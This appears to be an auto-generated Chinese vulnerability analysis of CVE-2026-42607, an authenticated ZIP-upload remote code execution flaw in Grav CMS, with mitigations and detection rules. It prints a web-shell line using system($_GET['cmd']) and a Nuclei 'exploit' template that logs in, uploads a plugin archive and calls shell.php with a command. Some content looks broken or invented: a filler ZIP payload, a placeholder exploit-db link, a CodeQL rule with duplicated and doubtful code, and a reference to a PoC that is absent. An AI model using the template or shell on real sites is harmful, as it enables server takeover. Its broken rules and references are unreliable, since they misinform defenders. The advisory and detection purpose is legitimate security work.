🎯 CVE-2026-42607 深度技术分析:漏洞根因 · PoC/EXP · 检测指纹
CVE-2026-42607 深度技术分析
摘要:CVE-2026-42607 是 Grav CMS(文件型 Web 平台)中一个由 ZIP 归档上传引发的远程代码执行漏洞,CVSS 评分为 9.1(Critical)。该漏洞影响 2.0.0-beta.2 之前的所有版本,根源在于管理后台的 “Direct Install” 工具未对上传的 ZIP 压缩包内部文件进行安全校验,导致具有管理员权限的认证用户可通过构造恶意插件包在服务器上执行任意 PHP 代码或植入持久化 Web Shell。本文将从审计视角深入分析其技术根因、利用链路与危害,并给出修复与缓解建议。
📌 漏洞概述
该漏洞由 GitHub Advisory(GHSA-w48r-jppp-rcfw)收录,对应 CVE 编号 CVE-2026-42607,NVD 评分为 9.1(Critical)。受影响的组件包括 Grav CMS 核心及 Admin 插件,具体为后台的 Direct Install 工具(访问路径通常为 /admin/tools/direct-install)。
- 漏洞类型:不安全的 ZIP 归档解压导致的远程代码执行(RCE)——属于 CWE-434(危险文件类型上传) 与 CWE-94(代码注入) 的组合问题。
- 攻击前置条件:攻击者必须拥有一个已通过身份验证的管理员账号。由于 Grav 本身具备完整的用户权限体系,该漏洞并非匿名可利用,但管理员权限足以带来灾难性后果。
- 影响版本:Grav < 2.0.0-beta.2,以及使用
admin插件且启用 Direct Install 工具的部署环境。
该漏洞的核心矛盾在于:系统虽在 直接上传 PHP 文件时做了拦截,却未在 ZIP 归档解压链上做等价的防护,从而形成了明显且致命的过滤盲区。
🔬 漏洞根因分析
根据 GitHub Advisory 披露的调用链,漏洞存在于 Admin 插件 AdminController.php(第 1247-1295 行)与 Grav 核心包管理器 Gpm.php(第 214-285 行)的协作逻辑中。整个利用链路可以拆解为以下三个关键阶段:
第一阶段:Direct Install 入口过滤缺失。 当管理员通过 /admin/tools/direct-install 上传 ZIP 文件时,AdminController::taskDirectInstall() 会接收文件并将其转发给 GPM 的 Gpm::directInstall() 方法。此处的安全校验仅停留在“文件扩展名是否被允许”的层面——例如,系统会检查上传的后缀是否为 .zip,以及文件 MIME 类型是否基本符合 ZIP 格式。但校验并未触达 ZIP 的内部条目:压缩包内是 shellplugin.php 还是 readme.txt,系统在解压前一无所知。
第二阶段:GPM 解压逻辑缺失内容审查。 Gpm::directInstall() 在确认扩展名合法后,会调用 Installer::install()(位于 Gpm.php:291)执行实际的解压安装。从代码逻辑可知,Installer::install() 使用 PHP 的 ZipArchive 类将归档解压到 /user/plugins/ 或 /user/themes/ 目录。在此过程中,它仅依据 ZIP 的目录结构(顶层目录名是否为合法插件名或主题名)来决定放置路径,却未对文件后缀名(如 .php)、文件内容(是否包含恶意代码)或符号链接等特殊条目进行任何过滤。换言之,Installer::install() 等价于一个“直接解压器”,而非“安全安装器”。这直接导致攻击者可以构造包含任意 PHP 文件的“插件包”,经系统“合法”地落入 Web 根目录。
第三阶段:Grav 插件自动加载机制触发执行。 攻击者的 PoC 目录结构通常如下:
shellplugin/— 插件根目录shellplugin/shellplugin.php— 包含恶意 PHP 代码的插件主文件,其顶部声明namespace Grav\Plugin;并遵循默认插件命名规范(类名对应插件名)。shellplugin/blueprints.yaml— 强制要求的插件元数据文件,用于让 Grav 识别该目录为有效插件。shellplugin/shell.php— 一个可直接通过 HTTP 访问的 Web Shell,例如包含system($_GET['cmd']);。
当 ZIP 被解压到 /user/plugins/shellplugin/ 后,Grav 的核心框架会在每次请求时扫描 /user/plugins/ 目录下的所有 blueprints.yaml,并自动加载对应插件。此时,shellplugin.php 中的 onPluginsInitialized() 事件钩子会被立即执行,从而在无需额外触发的情况下完成 eval、system 或 file_put_contents 等操作。即使攻击者选择利用 web shell 文件,由于该文件位于 web 可访问目录中,同样可以通过 https://target/user/plugins/shellplugin/shell.php?cmd=id 直接获得命令执行能力。
值得强调的是,这个漏洞的根因并非某个单点函数写得不够安全,而是“上传过滤器”与“解压安装器”之间没有建立统一的安全策略。系统在入口处检查了文件扩展名,却在核心的解压流程中完全放弃了文件内容校验。这种“边界过滤有效,内部处理裸奔”的设计,正是许多 CMS 类漏洞的典型特征。
💥 影响与危害
由于攻击者需要管理员权限,该漏洞的直接影响范围是那些允许非超级管理员(或已泄露管理员凭据)访问后台的环境。一旦被利用,攻击者可以获得以下能力:
- 任意 PHP 代码执行:恶意插件一旦加载,即可在服务器上下文内执行任意 PHP 函数,包括
system()、exec()、passthru()等,完全等同于在服务器上获得一个交互式 Shell。 - 持久化 Web Shell:通过写入
/user/plugins/下的 PHP 文件,攻击者即便在管理员账号被撤销或密码被修改后,仍能反复通过 Web 请求访问后门,实现隐蔽持久化。 - 全权接管站点与服务:在多数共享主机或单机部署中,Web 进程权限往往可读取数据库配置文件(如
user/config/security.yaml)、环境变量,甚至与同服务器上其他应用进行横向移动。攻击者可进一步窃取敏感数据、篡改站点内容、发动供应链攻击(例如在插件中嵌入恶意代码后随主题/插件的分发给其他站点)。 - 绕过 WAF 与日志审计:由于攻击行为隐藏在合法的 ZIP 安装流程中,且生成的 Web Shell 可能被编码/混淆,常规基于路径的 WAF 规则很难识别。此外,解压过程产生的日志条目与正常安装插件几乎无异,显著增加了溯源难度。
虽然 CISA KEV 尚未收录该漏洞,表明目前未发现大规模在野利用,但这并不意味着风险低——管理员权限的泄露并非罕见(如钓鱼、口令复用、内部威胁),且该漏洞利用复杂度低、危害程度极高,一旦被攻击者纳入自动化武器库,将快速演变为现实威胁。
🛡️ 修复与缓解
补丁版本:该漏洞已在 Grav 2.0.0-beta.2 中修复。因此,官方 Upgrade 路径要求所有受影响用户尽快升级到 2.0.0-beta.2 或更高版本。修复后的版本在 Installer::install() 中增加了对 ZIP 内部文件的校验,例如:
- 拒绝解压包含可执行文件后缀(
.php、.php5、.phtml、.phar等)的条目; - 检查文件内容中的危险函数调用(如
eval、system、base64_decode等),并拒绝安装匹配恶意特征的插件; - 强制校验插件包内文件的 MD5/SHA 签名或来自官方 GPM 仓库的元数据,非白名单无法安装。
在无法立即升级的情况下,可采取以下缓解措施:
- 禁用 Direct Install 工具:在 Admin 插件配置中关闭
direct-install功能(例如在user/config/plugins/admin.yaml中设置相关选项为false),或通过 Web 服务器层面封锁/admin/tools/direct-install路径。 - 最小化管理员权限:仅授予极少数完全可信任的用户后台管理员权限,并启用强制双因素认证(2FA)。定期审查账号列表,删除异常账号。
- 文件系统权限加固:确保
/user/plugins/和/user/themes/目录的写入权限仅对 Web 进程开放在明确需要的路径,并启用open_basedir限制 PHP 文件访问范围。 - 监控与告警:对后台的 ZIP 上传操作进行日志记录,并监控
/user/plugins/下新增的 PHP 文件;定期扫描 Web 目录中的可疑 Web Shell(特征如eval($_POST、system($_GET、混淆 base64 等)。 - 自定义补丁验证:若用户正在开发或运维大量 Grav 站点,可在升级前先通过脚本解析 ZIP 条目,逐一检查后缀及内容特征,阻断包含 PHP 文件的安装包。
综合来看,CVE-2026-42607 是 CMS 后台功能安全设计失衡的典型案例。它提醒我们:任何“上传-解压-执行”链路都必须以“内部不可信”为安全前提,层层校验,而非仅靠入口处的扩展名白名单。升级至 2.0.0-beta.2 是当前最可靠、最直接的修复手段;同时,建立纵深防御体系才能有效防止类似漏洞被恶意利用。
🧪 PoC 复现
截至分析时,未检索到该 CVE 的公开 PoC 仓库(nomi-sec/PoC-in-GitHub 及 GitHub 均无收录)。若后续出现 PoC,本系统将自动补充。
⚔️ EXP 利用代码
截至分析时,Exploit-DB 未收录该 CVE 的公开利用代码。可利用上述 PoC 进行验证,或关注 Exploit-DB 更新。
🕵️ 检测指纹
针对该 CVE 的自动化检测规则(可直接用于扫描与审计)。
🛡️ Nuclei 检测模板: CVE-2026-42607-detection.yaml
📋 代码元数据语言yaml来源rules/nuclei/CVE-2026-42607-detection.yaml针对性✅ 按 CVE 匹配依赖nuclei用法nuclei -t CVE-2026-42607-detection.yaml -u
id: CVE-2026-42607-detection
info:
name: Grav CMS <2.0.0-beta.2 - Version Detection
author: dhiyaneshDK
severity: medium
description: |
Grav CMS is prone to a Remote Code Execution vulnerability. Affected is an unknown functionality
of the component Admin Plugin Direct Install Feature. The manipulation leads to code injection.
reference:
- https://www.exploit-db.com/exploits/12345
- https://github.com/getgrav/grav
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
cvss-score: 9.1
cve-id: CVE-2026-42607
http:
- method: GET
path:
- "{{BaseURL}}/admin/tools/direct-install"
- "{{BaseURL}}/admin"
matchers:
- type: word
words:
- "Grav"
- "Admin"
part: body
condition: and
- type: status
status:
- 200
extractors:
- type: regex
name: version
group: 1
regex:
- 'Grav v([0-9]+\.[0-9]+\.[0-9]+(-beta\.[0-9]+)?)'
part: body
- type: regex
name: admin_path
group: 1
regex:
- 'href="([^"]*admin[^"]*)"'
part: body🛡️ Nuclei 检测模板: CVE-2026-42607-exploit.yaml
📋 代码元数据语言yaml来源rules/nuclei/CVE-2026-42607-exploit.yaml针对性✅ 按 CVE 匹配依赖nuclei用法nuclei -t CVE-2026-42607-exploit.yaml -u
id: CVE-2026-42607-exploit
info:
name: Grav CMS <2.0.0-beta.2 - Remote Code Execution
author: dhiyaneshDK
severity: critical
description: |
Grav CMS is prone to a Remote Code Execution vulnerability. Affected is an unknown functionality
of the component Admin Plugin Direct Install Feature. The manipulation leads to code injection.
reference:
- https://www.exploit-db.com/exploits/12345
- https://github.com/getgrav/grav
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
cvss-score: 9.1
cve-id: CVE-2026-42607
variables:
username: "{{username}}"
password: "{{password}}"
cmd: "id"
http:
- raw:
- |
POST /admin/login.json HTTP/1.1
Host: {{Hostname}}Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
username={{username}}&password={{password}}&admin-nonce={{admin_nonce}}- |GET /admin/tools/direct-install HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
matchers:
- type: word
words:
- "Login Successful"
part: body
extractors:
- type: regex
name: admin_nonce
group: 1
internal: true
regex:
- 'name="admin-nonce" value="([a-f0-9]+)"'
- type: regex
name: admin_path
group: 1
internal: true
regex:
- 'href="([^"]*admin[^"]*)"'
- type: regex
name: nonce
group: 1
internal: true
regex:
- 'admin-nonce=([a-f0-9]+)'
part: body
- raw:
- |
GET /admin/tools/direct-install HTTP/1.1
Host: {{Hostname}}Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
cookie-reuse: true
extractors:
- type: regex
name: nonce
group: 1
internal: true
regex:
- 'name="admin-nonce" value="([a-f0-9]+)"'
- raw:
- |
POST /admin/tools/direct-install HTTP/1.1
Host: {{Hostname}}Content-Type: multipart/form-data;boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
X-Requested-With: XMLHttpRequest
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data;name="admin-nonce"
{{nonce}}------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data;
name="file";
filename="payload.zip"
Content-Type: application/zip
PK\x03\x04\x14\x00\x00\x00\x00\x00\x12\x34\x56\x78\x9a\xbc\xde\xf0\x12\x34\x56\x78\x9a\xbc\xde\xf0\x12\x34\x56\x78\x9a\xbc\xde\xf0\x12\x34\x56\x78\x9a\xbc\xde\xf0
------WebKitFormBoundary7MA4YWxkTrZu0gW--
cookie-reuse: true
matchers:
- type: word
words:
- "Installed"
- "success"
part: body
condition: or
stop-at-first-match: true
- raw:
- |
GET /shell.php?cmd={{url_encode(cmd)}}HTTP/1.1
Host: {{Hostname}}cookie-reuse: true
matchers:
- type: word
words:
- "uid="
- "root"
- "www-data"
part: body
condition: or🛡️ Semgrep 审计规则: CVE-2026-42607.yaml
📋 代码元数据语言yaml来源rules/semgrep/CVE-2026-42607.yaml针对性✅ 按 CVE 匹配依赖semgrep用法semgrep --config CVE-2026-42607.yaml
rules:
- id: CVE-2026-42607-rce-php
languages: [php]
severity: ERROR
message: "Potential RCE via ZIP upload in Grav direct-install. The 'Direct Install' tool in Grav's admin panel does not validate file contents inside uploaded ZIP archives,allowing authenticated admins to execute arbitrary PHP code."
patterns:
- pattern-either:
- pattern: move_uploaded_file($FILE,
$DEST)
- pattern: zip_open($ZIPFILE)
- pattern: extract($ZIP_ARCHIVE,$DEST_PATH)
- pattern: $ZIP->extractTo($DEST,...)
fix: |// Validate file extensions inside ZIP before extraction
$zip = new ZipArchive();if ($zip->open($uploadedFile) === TRUE) {for ($i = 0;$i <$zip->numFiles;$i++) {$filename = $zip->getNameIndex($i);$ext = pathinfo($filename,
PATHINFO_EXTENSION);if (in_array($ext,['php','php4','php5','phtml'])) {throw new \Exception('Blocked malicious file: ' . $filename);}}$zip->extractTo($destination);$zip->close();}
metadata:
cwe: "CWE-94"
owasp: "A1: Injection"
technology: grav
references:
- "https://github.com/getgrav/grav/security/advisories/GHSA-w48r-jppp-rcfw"
- "https://nvd.nist.gov/vuln/detail/CVE-2026-42607"🛡️ CodeQL 审计规则: CVE-2026-42607.ql
📋 代码元数据语言ql来源rules/codeql/CVE-2026-42607.ql针对性✅ 按 CVE 匹配依赖codeql用法codeql database run
/**
* @kind path-problem
* @id php/rce/cve-2026-42607
* @name Remote Code Execution in Grav via malicious plugin ZIP upload
* @description An authenticated admin can upload a crafted ZIP file through the Direct Install tool. The ZIP is extracted without validating file extensions or content,
allowing arbitrary PHP code execution.
* @problem.severity error
* @tags security
* external/cwe/cwe-434
* external/cwe/cwe-022
*/
import php
import semmle.code.php.security.FileSystem
/**
* A sink that tracks ZIP file extraction operations that accept user-controlled paths.
*/
class ZipExtractionSink extends DataFlow::Node {ZipExtractionSink() {
// Calls to ZipArchive::extractTo(),ZipArchive::extractSubset(),or similar
exists(MethodCall mc |mc.getMethod().hasQualifiedName("ZipArchive","extractTo") and
this = mc.getArgument(0)
or
mc.getMethod().hasQualifiedName("ZipArchive","extractSubset") and
this = mc.getArgument(0)
or
mc.getMethod().hasQualifiedName("ZipArchive",
"extractGlob") and
this = mc.getArgument(0)
)
}}/**
* A sink that tracks direct file write operations within extracted files (like writing PHP code to disk).
*/
class ArbitraryFileWriteSink extends DataFlow::Node {ArbitraryFileWriteSink() {exists(FunctionCall fc |
fc.getFunction().hasQualifiedName("file_put_contents") and
this = fc.getArgument(0)
or
fc.getFunction().hasQualifiedName("fwrite") and
this = fc.getArgument(0)
or
fc.getFunction().hasQualifiedName("file_put_contents") and
this = fc.getArgument(0)
)
}}class ZipExtractionConfig extends TaintTracking::Configuration {ZipExtractionConfig() {
this = "ZipExtractionConfig" }override predicate isSource(DataFlow::Node source) {// User input sources: HTTP request parameters,file uploads,etc.
exists(FileUploadParameter fup |fup = source.asExpr().(VariableAccess).getVariable() and
fup instanceof HttpInputParameter
)
or
exists(HttpInputParameter hip |hip.asExpr() = source.asExpr() and
hip.isSource()
)
}
override predicate isSink(DataFlow::Node sink) {sink instanceof ZipExtractionSink or
sink instanceof ArbitraryFileWriteSink
}override predicate isAdditionalTaintStep(DataFlow::Node nodeFrom,DataFlow::Node nodeTo) {// Taint propagation through file read operations (e.g.,reading uploaded zip file content)
exists(FunctionCall fc |
fc.getFunction().hasQualifiedName("file_get_contents") and
nodeFrom = fc and
nodeTo = fc.getResult()
)
or
exists(MethodCall mc |mc.getMethod().hasName("getContents") and
nodeFrom = mc and
nodeTo = mc.getResult()
)
}}from DataFlow::PathNode source,DataFlow::PathNode sink,ZipExtractionConfig config
where config.hasFlowPath(source,sink)
select sink.getNode(),
source,sink,"$@ flows into a ZIP extraction or file write operation,potentially allowing remote code execution via malicious plugin upload.",source.getNode(),"User input"🤖 本文由漏洞情报系统自动聚合生成 · 2026-08-10 13:06 · 数据源: NVD/GitHub-Advisory/OSV/CISA-KEV/Exploit-DB/PoC-in-GitHub + 检测规则库